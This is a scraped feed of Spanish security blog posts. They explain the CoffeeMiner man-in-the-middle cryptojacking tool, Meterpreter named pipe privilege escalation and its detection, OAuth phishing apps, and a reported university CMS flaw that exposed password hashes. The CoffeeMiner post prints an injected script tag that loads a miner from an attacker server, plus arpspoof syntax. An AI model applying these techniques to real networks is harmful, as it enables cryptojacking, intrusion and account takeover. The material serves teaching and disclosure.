Quantcast
Channel: Un informático en el lado del mal
Viewing all 4199 articles
Browse latest View live

CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

$
0
0
Las criptodivisas están de moda, eso es algo indudable, y si no que se lo digan a mis compañeros de ElevenPathsFelix y Yaiza que llevan años estudiando el blockchain y las criptodivisas, tal y como se puede ver en su charla de Rooted de 2015 y en su libro BlockChain & BitCoins: La tecnología y su investigación. Este boom que tenemos en nuestros días con las criptodivisas, la minería y la especulación es un cartel luminoso para muchos ciberdelincuentes. En este artículo no se pretende valorar la seguridad del Blockchain, las criptodivisas o los mecanismos de protección que tienen en su mano los usuarios que manejan su capital.

Figura 1: CoffeeMiner: Te tomas tu café, te conectas a la WiFi y minan BitCoins con tu CPU

Lo curioso es ver cómo se automatizan ciertos ataques que ayudan, en este caso, a la minería. La herramienta CoffeeMiner, la cual se puede estudiar en su Github, pretende ser una prueba de concepto, con propósito académico según indica su propio autor, de lo que pueden llegar a hacernos a cualquiera de nosotros mientras nos tomamos un café en nuestro bar favorito y aprovechamos ese placer para leer las noticias en nuestro dispositivo digital.


Figura 2: How I meet your e-wallet

CoffeeMiner es una prueba de concepto que permite realizar un ataque de Man in the Middle y seleccionar diferentes targets que serán envenenados. A partir de aquí, el tráfico de las víctimas pasará por el atacante y éste podrá inyectar un código JavaScript en cualquier documento HTML que la víctima solicite, ya que esta petición pasará por el atacante. Este JavaScript contiene un minero en su código, por lo que todos los dispositivos conectados a la red podrían ser víctimas y estar minando sin ser conscientes de ello.

Figura 3: CoffeeMiner en GitHub

El esquema de cómo funciona CoffeeMiner es sencillo. Un atacante que tome un café en una cafetería y haya diversos clientes conectados a la red WiFi de dicha cafetería podría aprovecharse y obtener un beneficio logrando que los clientes minen para él. Este ataque es extensible a redes cableadas, ya que el secreto de todo esto está en que el tráfico pase por una máquina concreta, la del atacante.

Si el atacante está en una red cableada, podría aprovecharse de técnicas como el ARP Spoofing o cualquier otro de los Ataques de redes IPv4 o IPv6 y, posteriormente, utilizar la inyección de JavaScript. Es más, si el atacante pusiera su propio Rogue AP, no haría falta envenenar ninguna caché, ya que podría, directamente, inyectar el código JavaScript porque él es el Gateway.

Figura 4: Esquema de ataque con CoffeeMiner

En otras ocasiones hemos visto como herramientas como Bettercap o MITMf permiten realizar acciones similares de forma sencilla, orientado a la auditoría de seguridad. CoffeeMiner también puede entenderse como una herramienta de auditoría, aunque es una prueba de concepto con propósito académico.

El código de CoffeeMiner

En el sitio web del autor de CoffeeMiner se explica el código de la aplicación/automatización basada en mitmproxy. Para realizar el ataque MITM se utiliza la vieja herramienta arpspoof, con su famosa sintaxis arpspoof –i [interfaz de red] –t [target 1] [target 2] y la instrucción contraria para hacer el envenenamiento en ambas direcciones.

Posteriormente, se utiliza mitmproxy para analizar el tráfico que circula a través de un equipo, pudiendo editar el tráfico. Esto se utilizará para inyectar el JavaScript, el cual está preparado o contiene para que la víctima, a través de su navegador, mine. La línea que se inyectará tendrá el siguiente aspecto:
<script src="http://httpserverIP:8000/script.js"></script>.
El código queda de la siguiente manera, teniendo en cuenta que se utiliza la librería que integra mitmproxy:

Figura 5: Código de CoffeeMiner

Como la parte de “Injector” añade una línea al HTML legítimo con el que se consigue llamar al JavaScript malicioso, el atacante tendrá que contar con un servidor web dónde se alojará el fichero JavaScript malicioso. CoffeeMiner proporciona un sencillo código para automatizar esto, aunque con un servidor Apache sería algo trivial.

Figura 6: Código de servidor web para servir el fichero JavaScript de minado

Por último, la parte de CoinHive. Éste es un proyecto cuyo eslogan es aprovechar la computación de tu negocio para sacarle un provecho. Esto puede tener un buen fin, pero también puede haber usuarios maliciosos que quieran aprovecharse de esto. A continuación, os dejamos un video de ejemplo realizado por el autor de la herramienta:


Figura 7: Demo de CoffeeMiner


Sin duda es un proyecto que hace una crítica a la facilidad y el riesgo que tenemos los usuarios que accedemos a redes no seguras o redes con usuarios “de paso”. Por esta razón, debemos estar atentos a qué redes accedemos y en qué sitios confiamos. En este caso, no se apoderarán de datos sensibles nuestros, pero sí que utilizarán nuestra CPU para que puedan ganar unos dólares. Una buena solución sería utilizar una VPN desde la propia red WiFi dónde nos conectemos, para que estemos ante una red aislada. También se podría utilizar plugins como NoScript para evitar la ejecución de código JavaScript. Otra opción sería utilizar una red virtual dentro de la WiFi y poder evitar que hagan uso de nuestra CPU.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root", “Pentesting con Powershell” y Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Sh3llCON, h-CON, Hackron & RootedCON @rootedcon @hackr0n @hackplayers @sh3llcon

$
0
0
Durante los primeros meses del año hay una serie de CONs de Hacking y Ciber-Seguridad que están anunciadas. Yo no voy a poder estar en todas, pero sí que voy a estar en algunas de ellas. Lo que sí que os quiero dejar es la información de todas ellas y la presencia que tendremos allí.

Figura 1: Sh3llCON, h-CON, Hackron & RootedCON

La primera de ellas es Sh3llCON en Santander. Es una reunión que ya ha cogido solera y donde vamos a tener un stand de 0xWord para que puedas comprar los libros y además que los ponentes que están allí puedan firmarte sus libros. Yo estaré por Vídeo Conferencia ya que mi agenda no me permite viajar mucho y tendré una sesión de Q&A (Preguntas y Respuestas) donde los asistentes podrán hacerme sus propias preguntas. Será los días 25, 26 y 27 de Enero.

Figura 2: Ponentes de Sh3llCON

El elenco de ponentes es de calidad. Desde Pablo Echevarri (que te podrá firmar sus libros de Python para Pentesters, Hacking con Python o Deep Web: TOR, I2P y Freenet), hasta el gran David Barroso (que te podrá firmar el de Hacking iOS: iPhone & iPad 2ª Edición), pasando por Dipu Daswani, mi compañero Pablo González (Got Root, Pentesting con PowerShell, Hacking Windows, Hacking Web Technologies, Metasploit para Pentesters, Ethical Hacking), Silverhack (Hacking iOS: iPhone & iPad), Alvaro Nuñez (autor de DirtyPi: DirtyTooth para Raspberry Pi), Angelucho (nuestro corazón detrás de X1Red+Segura), Josep Albors, el gran Roman Ramírez (RootedCON founder!), Pedro Candel, Pedro Sánchez y un largo etcétera. Vamos un panel espectacular.

La segunda de las CONs es la H-CON en Madrid, concretamente en la ETSI de la Universidad Politécnica de Madrid, donde me hicieron Embajador Honorífico (a ver si un día consigo que le pongan mi nombre al auditorio }:D ), pero por desgracia no podré asistir por problemas de agenda. Aún así, los días 2 y 3 de Febrero han preparado un programa con una cantidad de actividades.

Figura 3: H-CON en Madrid

Entre los ponentes, estará nuestro compañero de ElevenPathsSantiago Hernández hablando de "Hacking Network Protocols con Python". Además, colaboramos desde 0xWord en el evento. Merece la pena que revises la lista completa de Ponentes de H-CON.

Figura 4: Hackron 2018

La siguiente parada, es la excelsa Hackr0n en las Islas Canarias. Una parada antes de Carnavales para disfrutar de una agenda de talleres y conferencias de Hacking y Ciber-Seguridad. Por desgracia para mí, demasiado cerca en fechas del evento que estoy organizando para el próximo Mobile World Congress.

Figura 5: Talleres en Hackon

Como veis, se han organizado un total de 6 talleres, donde estarán mis compañeros Pablo González con uno de "Iniciación al pentesting con Metasploit" y Pablo San Emeterio con uno de "Iniciación en exploiting". Además, en el taller de Phishing que dará el gran Igor Lukic los asistentes verán las técnicas de Sappo, que tanto revuelo han generado recientemente por culpa de las demos que ha hecho el gran Kevin Mitnick con él, usando Ransomcloud


Figura 6: Kevin Mitnick explicando Ransomcloud

Además de los talleres, por supuesto, están las ponencias. En ellas tenéis una buena variedad, y estará Pablo González hablando de sus FRANKENWARE y J. Fran Bolivar (autor del libro de Hacking y Seguridad de Sistemas de Control Industrial y Sistemas Críticos) hablando de "air-gapped attacks". Yo participaré de nuevo por Vídeo Conferencia con una sesión de Q&A.

Figura 7: Agenda de Hacron 2018

La última parada es la RootedCON, de la que aún es pronto para dar muchos detalles. Es cierto que ya han salido los primeros ponentes que vamos a estar allí. Yo estoy trabajando con mi equipo para llevar una charla nueva - como hacemos siempre en la RootedCON - y sobre un tema del que nunca he hablado allí.

El amor que tengo por la RootedCON me hace siempre presentar por primera vez lo que estoy investigando. Allí hablé por primera vez de FOCA 2, allí hablé por primera vez de DUST RSS, de DirtyTooth, de Latch, de Sappo, la charla de Owning Bad Guys {and mafia} using JavaScript Botnets, de Tacyt, de los ataques IPv6 con Evil FOCA, etcétera. Este año... toca hablar de cosas de WiFi con las que llevamos un año "enredando" sin acabar de publicarlas. Keep listening!

Saludos Malignos!

Si vas a hacer tu Trabajo de Fin de Carrera o Fin de Máster tienes un reto con nosotros

$
0
0
Desde el primer día que comencé mi andadura en Telefónica - y ya va para seis años en breve - el contacto con la Universidad ha estado presente. Tener una conexión con los futuros profesionales de la tecnología, con los creadores de las nuevas startups, de nuevos productos, de nuestros servicios, de nuevas formas de vivir el mundo digital, es algo que para mí siempre ha sido fundamental.

Figura 1: Si vas a hacer tu Trabajo de Fin de Carrera o Fin de Máster tienes un reto con nosotros

Primero comencé con el programa Talentum, luego con los Trabajos de Fin de Máster en universidades utilizando tecnologías de seguridad de ElevenPaths, y luego, por supuesto con LUCA y el mundo de BigData. Y desde que tenemos AURA y la 4ª Plataforma dentro de mi unidad CDO, el número de proyectos para Trabajos de Fin de Carrera y Fin de Máster son muy variados.


Figura 2: CDO University Challenge

Desde trabajos de investigación y desarrollo que tienen que ver con Hacking o Hardening, hasta el uso de técnicas de Machine Learning sobre grandes DataSets para generación de Insights. Hay trabajos de Analítica Descriptiva, Predictiva y Prescriptiva. Hay trabajo de Deep Learning e Inteligencia Artificial.

Figura 3: Información para Universidades y Universitarios en LUCA

Y como queremos continuar con esta relación, hemos abierto este año otra vez el CDO BigData & CiberSecurity Challenge, del cual tienes más información en la web de ElevenPaths y en la web de LUCA D3. Este reto se lleva a través de la plataforma Open Future de Telefónica, y no solo hay premios para los estudiantes que realicen el proyecto, sino también para los profesores que los dirijan. 

Figura 4: Proceso de participación en el reto

Si quieres orientar tu carrera profesional hacia el mundo del Big Data, la Inteligencia Artificial, el desarrollo de apps, el mundo del hacking y la seguridad informática, y tienes que hacer un TFC o un TFM, tal vez esta sea una buena oportunidad. Además, los ganadores tendrán derecho a una beca en nuestra unidad CDO en Telefónica.

Saludos Malignos!

PD: Recuerda que si quieres entrar a trabajar con nosotros, tenemos abierto también el CDO Challenge para entrar en nuestra unidad para un proyecto de Android Development que tenemos entre manos. 

Not Mining: Buscador de webs que minan criptomonedas

$
0
0
Hace unas semanas, viendo el aumento considerable de páginas web que estaban minando criptomonedas - ya sea como forma de financiación o infectadas por campañas de malvertising -, nos propusimos hacer un sitio web que NO se basase en la comprobación de blacklists, para la búsqueda de páginas que realizan este tipo de prácticas a la hora de advertir a los usuarios.

Figura 1: NotMining.org

La idea era buscar parámetros, dentro del propio código fuente de la página web, para así asegurarnos de que la dirección URL que queríamos analizar estaba minando actualmente criptomonedas, o no. Haciendo esto evitábamos los fallos que se estaban produciendo en algunas extensiones que se basan en Blacklists, ya que actualizar al día esas listas es casi imposible. Algo que provoca falsos positivos o falsos negativos.

Figura 2: Últimas URLs que han dado positivo en NotMining.org

Todas estas búsquedas, a su vez, se recogían en una base de datos que nos permitiría buscar las webs que dan tanto un resultado negativo, como un resultado positivo. Así podríamos utilizarlas para comprobar nuevos parámetros que, anteriormente, no habíamos contemplado. La web podéis visitarla aquí: NotMining.org

Figura 3: Información de la extension de NotMining.org

Con esta misma filosofía, nos pusimos manos a la obra para crear las extensiones que están disponibles tanto en Google Chrome, como en Mozilla Firefox. La idea era exactamente la misma. La extensión debía buscar, en el código de la web que estás visitando, para advertirte de que esa web está minando o no. En el siguiente vídeo tienes un ejemplo de cómo funciona.


Figura 4: Funcionamiento de NotMining.org

La diferencia entre las extensiones y la web, a parte de las obvias, es que las URLs visitadas no se guardan en ningún sitio. Es decir, la extensión se ejecuta en el navegador y da el resultado al usuario, pero no lo envía a ninguna base de datos. Pensamos que la privacidad del usuario es lo primero.

Saludos,

Autores: José C. García Gamero y Adan K. Martín.

Piensa como un hacker, planifica como un CSO y haz magia como Harry Potter

$
0
0
Este fin de semana no ha sido precisamente uno de los más tranquilos para mí. Pero la vida viene como viene y hay que poner las prioridades en su sitio. El viernes y sábado me fue imposible sacar tiempo para escribir, y el domingo pude por fin comenzar a hacer algo. Os saqué un artículo que me habían enviado, le dediqué cariño a mi periódico para sacar la edición semanal de "No Hack, No Fun", y comencé a recuperar algunos de los vídeos que tenía pendientes subir a Mi Canal Youtube.

Figura 1:Piensa como un hacker, planifica como un CSO y haz magia como Harry Potter;

Hoy os traigo algunos de los vídeos que he subido, por si quieres verlos. Algunos son de algunas charlas, incluida la conferencia que da título al post de hoy, otro es de una entrevista sobre hacking y hackers de hace algún tiempo, y el último es un seminario online de Pigram

Los vídeos que puedes ver

El primero que os dejo es la charla que impartí por vídeo conferencia en el HackHotel 2017 de Santa Cruz de Tenerife donde participamos desde ElevenPaths. Es solo una pequeña charla de menos de 20 minutos en la que hablo de la gestión de la seguridad en una empresa. Es una conferencia en la que hablo más del trabajo de un CISO que de un investigador de seguridad.


Figura 2: Conferencia en HackHotel 2017

El segundo vídeo es la entrevista que me hicieron para un canal/podcast llamado "Al pie del micro". Es del año 2015 o 2016, y en ella se habla solo de seguridad informática, pero más desde el punto de vista de los incidentes, del trabajo de los investigadores y del mundo de los hackers y el hacking.


Figura 3: Entrevista en "Al pie del micro"

El tercer vídeo es otra  charla por vídeo conferencia que impartí para mis amigos de México, en este caso para el congreso ANUIES-TIC-2017 en el que bajo el título de "Piensa como un hacker, planifica como un CSO y haz magia como Harry Potter" hablo en forma de decálogo de algunas reglas de oro en el mundo de la seguridad informática.

Figura 4: Conferencia en ANUIES-TIC-2017

El último de los vídeos es el webinar de Pigram que impartió mi compañero Santiago. Como sabéis, Pigram es uno de los proyectos personales en los que he estado trabajando con mi equipo más cercano y que está disponible gracias a LUCA para todo el mundo.


Figura 5: Webinar de Pigram

Y este es el material que os he recapitulado en el post de hoy. Espero que la vida me vaya dando cuartelillo para que no me pongáis falta otra vez como me ha pasado estos dos días en los que no pude estar con vosotros.

Saludos Malignos!

Named Pipe Impersonation: Escalando privilegios en Windows

$
0
0
Cuando te enfrentas a una escalada de privilegio en un pentesting dentro de un Ethical Hacking existen diferentes formas de afrontar este problema. La búsqueda de fallos en la configuración de los servicios, la búsqueda de la falta de paquetes de actualización en Windows mediante herramientas como Windows Exploit Suggester o el aprovechamiento de una vulnerabilidad en un instante de tiempo, ya sea porque tiene poco tiempo o porque no ha sido parcheada, como puede ser Hot Potato y su implementación en Powershell con Tater.

Figura 1: Named Pipe Impersonation: Escalando privilegios en Windows

Sin duda, la post-explotación puede ser una tarea ardua, aunque en algunas ocasiones nos parezca algo "sencillo". Hoy quería hablar del funcionamiento de la técnica Named Pipe Impersonation y cómo puede ser detectada gracias al registro de eventos de Windows. Este tipo de técnicas y otras se podrán conocer en el lab de Metasploit de Rooted CON 20018 - si te apuntas  y te has leído el libro de Metasploit para Pentesters 4ª Edición antes, podrás sacar lo máximo del training.

¿Qué es Named Pipe Impersonation?

Lo primero que hay que decir es que es una técnica utilizada dentro del framework de Metasploit, aunque también podría ser utilizada fuera de dicho contexto. Es una técnica que permite escalar privilegios. Un named pipe es una técnica que tiene el sistema operativo Windows para facilitar la comunicación entre procesos. Es sencillo, si un proceso quiere "contactar" con otro, el primero de los procesos puede enviar un mensaje sobre la red o utilizar un fichero. En el segundo caso, el proceso escribe el mensaje en un fichero y el otro proceso lo lee.

Esta es la base de la técnica Named Pipe, por lo que, si se mira desde el punto de vista de un pentester, ésta puede ser utilizada para lograr un objetivo como el de ejecutar un código en un contexto privilegiado. Hay que tener en cuenta que el malware NotPetya utilizaba un nuevo proceso para comunicarse con el malware y hacer un dumpeo de credenciales. Este proceso utilizaba esta técnica para utilizar una comunicación encubierta, entre el proceso y el malware.

¿Qué significa realmente "impersonar" un Named Pipe?

Imagina un servidor y un cliente. El cliente solicita al servidor que realice alguna acción, por ejemplo, una consulta a la base de datos. El servidor puede tener control total sobre la base de datos, pero, por el contrario, el cliente puede tener un acceso limitado. Si el cliente no tiene los suficientes privilegios, el servidor nunca le dará o ejecutará la consulta que éste pueda solicitar. Hasta aquí, todo claro.

¿Qué ocurre si el cliente tiene más privilegios que el servidor? Tú puedes pasar este hecho, es decir, estos privilegios al servidor para que utilice dichas credenciales. El servidor puede "impersonar" la cuenta del cliente para realizar las acciones que requiera. Esta idea es la utilizada en el contexto del named pipe, es decir, si un proceso crea un pipe, este proceso será propietario del pipe server. Cuando otro proceso conecta a este pipe, éste llamará al pipe client. Una vez ambos conecten, el pipe server puede utilizar el privilegio del pipe client, el contexto de seguridad en el que se ejecuta el cliente o los privilegios que éste tiene.

Figura 2: Namedpipe.c en Meterpreter

Este hecho puede ser aprovechado para crear un pipe server con bajos privilegios e intentar conectar con un cliente con más privilegio que el pipe comentado. Cuando esto sucede, el pipe server podrá realizar acciones con los privilegios del cliente. Metasploit simplifica este hecho y lo automatiza a través del comando Getsystem del Payload Meterpreter. El código se puede encontrar en el Github del proyecto.

Profundizando un poco más

La idea está clara, pero ¿cómo interactúa realmente? Getsystem, cuando utiliza la técnica Named PipeImpersonation, crea un pipe server con privilegios limitados. Posteriormente, configura un servicio en Windows, el cual será el cliente, para conectarlo a ese pipe. De esta forma se "impersona" el contexto de seguridad, ya que un servicio se ejecutará en un contexto de SYSTEM.

Como se puede ver en la documentación del código que implementa la técnica en el Github de Metasploit, se ejecutará una cmd.exe bajo un contexto de SYSTEM para que conecte al named pipe y se "impersonará" a este cliente. Esto puede ser llevado a cabo cuando se es Administrador sin la necesidad de tener el permiso SeDebugPrivilege. Esta técnica trabaja con Windows 2000/XP/2003 y 2008. En Windows Vista y Windows 7 solo trabaja si el proceso ha sido elevado a través de UAC o con un bypass de UAC. En versiones más modernas del sistema operativo también sigue funcionando.

Figura 3: Elevación de privilegios a SYSTEM para hacer la impersonación

En el caso de que la técnica no tenga éxito, se intenta un método similar llamado named pipe impersonation 2. En este caso, Meterpreter subirá una DLL al equipo y la ejecuta por medio de rundll32.exe, haciéndolo como servicio. La DLL se ejecutará en el contexto de SYSTEM y conectará con el pipe server para "impersonar" el token.

En la imagen, se puede ver como se obtiene una sesión en la que hay un token con la identidad y el privilegio del proceso.

Figura 4: Obtención de sesión con privilegios

El comando getsystem tiene diferentes técnicas implementadas para llevar a cabo la escalada de privilegio. Se utiliza la opción 1 para utilizar la técnica Named Pipe Impersonation, aunque la técnica 2 utiliza el mismo procedimiento, solo que hay que hacer la parte de la DLL en disco y la ejecución a través de la invocación del servicio y rundll32.exe.

Como se puede ver en la imagen, se utiliza la opción "-t 1" para seleccionar la técnica de Named Pipe Impersonation, explicada anteriormente.

Figura 5: Con -t 1 se configura Named Pipe Impersonation

En resumen, y para simplificar el entendimiento de la técnica, se ejecuta un proceso el cual se está ejecutando con el token, el cual tiene limitados los privilegios. El proceso creado genera un pipe con un nombre aleatorio. En este ejemplo se llama gbsbtr el pipe. El pipe es creado con el privilegio del usuario.

Figura 6: Uso de Named Pipe Impersonation en Meterpreter

Desde los servicios de Windows se puede ejecutar un nuevo servicio, el cual se ejecuta con usuario SYSTEM y puede enviar cualquier mensaje a través del pipe llamado gbsbtr. Aquí tenemos la escalada. El servicio es creado y está listo para conectar con el pipe. Cuando el servicio arranca, se lanza un cmd.exe como SYSTEM y conecta al pipe creado por el proceso generado por Metasploit, el cual ahora obtiene un entorno de SYSTEM.

Detectándolo en la máquina

Ahora, vamos a ver cómo detectar esta situación en una máquina comprometida. Para ello hacemos uso de Powershell y del cmdlet Get-EventLog. Buscamos dentro del mensaje de los eventos el contenido "A service ". Nos devolverán todos los eventos que encajen con lo buscado.

Figura 7: Buscando servicios con PowerShell

En esta ocasión, se puede ver como se recopila la información del registro de eventos de Windows y se buscan los servicios que tienen un pipe creado para interactuar. Hay que fijarse en la expresión regular de "*\\.\pipe*".

Figura 8: Buscando servicios con pipe

Una vez tenemos esto, se puede ver que lo almacenamos en una variable. Esta variable el contenido de los diferentes objetos podemos verlo con la instrucción $services | ForEach-Object {$_.message}. Obtenemos el comando ejecutado por cmd.exe y el servicio creado, además, de la cuenta de servicio utilizada, en este caso se puede ver como realmente es SYSTEM.

Figura 9: Servicio instalado

Una técnica interesante para el pentesting y que muchas veces utilizamos en el día a día. Es interesante ver cómo funciona por debajo y saber que está ocurriendo a nivel de proceso para que esto tenga éxito y en qué condiciones puede fallarnos.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”,  Hacking Windows, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Google alerta de las apps NO verificadas al pedir permisos OAuth. Microsoft Office 365 aún debe mejorar un poco.

$
0
0
Hace ya dos años que comenzamos a trabajar sobre la posibilidad de que aparecieran apps maliciosas en el mundo del cibercrimen para robar datos de los sistemas IdP de plataformas como Gmail u Offife365. Sobre el funcionamiento de estos ataques construimos Sappo, una prueba de concepto de cómo una app maliciosa inyectada en el IdP de Google u Office365 mediante una ataque de phishing que robara tokensOAuth privilegiados para leer el correo, gestionar la agenda, y, como expusimos en un paper, construir ataques RamsonCloud.

Figura 1: Google alerta de las apps NO verificadas al pedir permisos OAuth.
Microsoft Office 365 aún debe mejorar un poco.

Como se puede ver en la demo de Sappo que hicimos para la RootedCON 2016, un atacante podría, usando una app maliciosa, robar un tokenOAuth que fácilmente cifrara el contenido de un buzón completo de Office 365.


Figura 2: Demo de Sappo en Rooted 2016

Meses después de aquella charla, vimos como se creó un gusano en Gmail que utilizaba justo ese mismo truco, tal y como expliqué en el artículo de "Cómo se ha hecho a Gmail el ataque de Spam masivo por Auth". Es decir, el cibercriminal creo una app integrada en el IdP de Google que utilizó para conseguir el tokenOAuth2 de las cuentas afectadas. Una vez dentro, accedía a la agenda de contactos y volvía a distribuirse.

Figura 3: Enlace que se re-enviaba por Gmail para robar tokens OAuth

Desde aquel entonces Google ha tomado cartas en el asunto, y ha puesto una alerta bastante gorda cuando se quiere dar permisos OAuth a apps que no han sido verificadas por las manos de sus ingenieros de seguridad. Es decir, un Warning rojo que debería hacer pensar a más de uno antes de darle un token OAuth privilegiado a esa app.

Figura 4: Alerta que da Google cuando la app no ha sido verificada y pide tokens OAuth privilegiados

Sin embargo, en el caso de Office365 - una plataforma ampliamente utilizada en la empresa, y que es fácil de comprobar si una empresa utiliza solo mirando los registros DNS - aún mantiene un sistema mucho más relajado con las apps.


Figura 5: Kevin Mitnick explicando Ransomcloud Office365

Tal y como se puede ver en el vídeo que hizo mi amigo Kevin Mitnick (@kevinmitnick) sobre Ransomcloud, la pantalla de Microsoft Office 365 para dar permisos a tokensOAuth sigue siendo muy user-friendly incluso cuando la app no ha sido verificada por nadie - y es maliciosa como en este caso -.

Figura 6: Pantalla que recibe un usuario con una app NO verificada (y maliciosa)

A ver si mis amigos en Microsoft me ayudan a pedir que empiecen a tomar cartas en el asunto a los equipos de seguridad antes de que tengamos una hecatombe con el sistema de Office 365 en muchas empresas.

Saludos Malignos!

Cómo pude haber aprobado un máster sin estudiar... pero lo reporté

$
0
0
Hace un tiempo comencé a buscar información sobre algún Máster para profundizar en mis estudios de informática. En la actualidad, con lo amplio que es el mundo del conocimiento en informática, se quedan cortos los pocos años de la Ingeniería de Informática de Sistemas que he estudiado en la URJC y quería profundizar algo más. Así que, utilicé Internet para revisar las ofertas de másteres en las universidades que más me llamaban la atención, escrutando la información que ofrecen en sus páginas web.

Figura 1: Cómo pude haber aprobado un máster sin estudiar... pero lo reporté

Pero la "deformidad profesional" que tengo en el desarrollo de "canales digitales" - una manera muy moderna de llamar a los puntos de interacción con los clientes, ya sean páginas web, aplicaciones móviles, los famosos chatbots o las redes sociales - me llevó a profundizar un poco más en algunas de las webs de las universidades en cómo estaban diseñadas y acabar haciendo algo de Hacking Web Technologies, lo que me llevó a descubrir un fallo de seguridad bastante relevante en la web de UAB.

Está página me llamo la atención porque descubrí que estaba desarrollada con un gestor de contenidos sobre el que tengo bastante conocimiento, Oracle Webcenter Sites. En concreto, delató el uso de este gestor de contenidos el formato no amigable de las URLs.

Figura 2: URLs del portal de contenidos

Esto se puede configurar de otra forma, pero a partir de este pequeño detalle, un cúmulo de errores mucho mayores en la gestión de la seguridad da a cualquier persona la capacidad de acceder a la base de datos de la web, al gestor de contenidos e incluso poder ejecutar una Shell Remota contra los servidores de la universidad. En definitiva, cualquier persona podría aprobar el máster sin pasar por clase - a falta de ver otros controles que se tengan más allá del sistema informático .-  Para entender bien el problema, hay que tener en cuenta dos cosas principalmente.
  • Arquitectura de Webcenter Sites: La arquitectura común de Webcenter Sites, es similar a la de cualquier otro gestor de contenidos. Existe un usuario "lector" capaz de navegar por la web de manera pública, pero sin acceso a la aplicación de gestión de contenidos. Este "bloqueo" de acceso, como en otros gestores está basado en permisos de usuario. 
  • Aplicaciones de Gestión de Webcenter Sites: Es habitual en este gestor de contenidos instalar una "extensión" comúnmente conocida como Support-Tools que nos brinda unas herramientas para detallar la configuración del servidor donde se instala Webcenter Sites, y que además nos habilita de un catálogo operaciones de mantenimiento/administración extremadamente útiles. El acceso a esta extensión, como ocurre con el acceso a la interfaz de "contribución" de contenidos está basado en Roles.
Los errores en esta web

En este caso existían dos errores grabes que permitían el ataque:
1.- Se ha dejado accesible desde internet el acceso a la herramienta "Support-Tool" 
2.- Se ha otorgado al usuario "lector" el ROL necesario para acceder a la herramienta "Support-Tool"
Y a partir de esto,  cualquier atacante podría tomar control del sistema. Vamos a ver cómo es el proceso. Como ya os he dicho, conocía el gestor de contenidos, así que lo primero que miré al llegar a la web fue ver si estaba accesible la herramienta Support-Tool desde Internet, y como veis el resultado fue positivo.

Figura 3: Support-Tool expuesta a Internet

Esto es un error de fortificación, ya que habría que reducir la superficie de exposición, haciendo que solo estuviera accesible desde dentro de la red, o vía conexiones VPN, pero en muchos casos, acaban siendo publicadas en Internet.

Como se puede ver, el portal además se ofrece vía HTTP, y no bajo HTTPs, lo que es un problema que permite a cualquier ataque de sniffing o man in the middle, capturar las credenciales de los usuarios, algo muy peligroso cuando hablamos de un sistema expuesto a Internet.

Figura 4: Páginas de administración indexadas en Google

Lo siguiente, lógicamente, era comprobar las credenciales, para ver si tenían los usuarios por defecto con sus passwords por defecto, si habrían implementado sistemas de Segundo Factor de Autenticación como Latch o como un TOTP, o no. Probé con los usuarios por defecto, los cuales rechazaban el login. Pero una última prueba me reveló el problema del rol que os comenté antes. Las páginas de administración de la herramienta eran accesibles sin necesidad de password de administración o gestión.

Figura 5: Páginas de administración accesibles sin necesidad de sesión de administración

Una vez dentro se pueden realizar multitud de operaciones, entre ellas tirar consultas contra el motor de la base de datos del gestor de contenidos. Siendo posible poder recuperar, por ejemplo, el listado de usuarios existentes con los hashes de las passwords.

Figura 6: Consulta para sacar los usuarios del SGBD

Realizar cambios sobre el SGBD ya nos da acceso casi completo a la web, pero la sorpresa vino cuando al tratar de descifrar el password del usuario administrador desde una herramienta de coincidencias online, se produjo un "match".

Figura 7: Hash de password de administrador descifrado

Este match quiere decir que tenemos acceso a la herramienta como usuario administrador. Lo que nos permitirá además de modificar la web a nuestro antojo, subir diferentes programas Java - como una Shell Remota, o un RansomWare tan de moda últimamente - que se  ejecutará sobre la máquina el usuario que esté corriendo el servidor. Por supuesto, no había configurado ningún 2FA como Latch, por lo que una vez que se tiene la password, cualquiera puede entrar.

Figura 8: Acceso como Administrador

En resumen, lo que me encontré fue:
- Exposición de portal de administración en Internet. 
-  Páginas de login sin usar conexiones cifradas bajo HTTPs. 
- Gestión de sesiones inseguras, lo que permitía acceder a administración. 
- Usuarios sin 2FA. 
- Webs sin auditorías de seguridad.
- Mala gestión de las opciones de indexación del sitio web.
Después de esta aventura no acabé con cinco másters y una beca pre-concedida para el resto de mi vida. Les avisé de todo esto a los administradores del sitio, y a día de hoy la web ha sido cambiada por completa. Con esto aprendí que antes de que se publique cualquier tecnología por un "canal digital" hay que hacerle unas buenas pruebas de seguridad.

Saludos y a estudiar mucho, no seáis malignos!

Autor: Eduardo Trujillo, Ingeniero de Sistemas.

Hoy "Un informático en el lado del mal" cumple 12 años

$
0
0
Desde que era un niño mis amigos siempre fueron mayores que yo. Como una forma de aprender más rápido de su experiencia, o simplemente por que había madurado un poco más deprisa, siempre tenía más afinidad con gente de más edad que yo. Y no me gustaba eso. Yo quería ser mayor.  Siempre quise tener más edad. Aprender más deprisa. Crecer más rápido. Hice cosas siempre fuera de mi edad. Descompensado con mi tiempo. Rápido. Muy rápido. Que hay muchas cosas aún por hacer. Un viejoven repelentillo que estudiaba mucho, leía todo lo que le caía en las manos y siempre pensaba en nuevas cosas que hacer.

Figura 1: Hoy "Un informático en el lado del mal" cumple 12 años

Tenía en las tripas un veneno que me hacía botar por la noche en la cama si no conseguía comenzar con el proyecto que tenía en mente. Circulando en mi cabeza. Arriba y abajo. Dando vueltas a cada detalle que podía imaginar. Quería hacer cosas. Y las quería hacer ya.

No, no penséis que estoy hablando de construir sistemas tecnológicos - que también - o hacer proyectos en mi etapa profesional. Hablo de cualquier iniciativa personal. Caricaturas. Un trabajo para el instituto. Un programa para mí mismo. Desde hacerme librerías para pintar ventanas, hasta programas para reprogramar el código ASCII y hacer dibujos y pequeñas animaciones. Dibujar un logo. Anunciarme para dar cases particulares en todos los medios que pudiera o encontrarme con Rodol para ver si conectábamos los equipos vía RRAS para jugar al Quake II. Veneno en las tripas que me obligaba a hacer cosas.

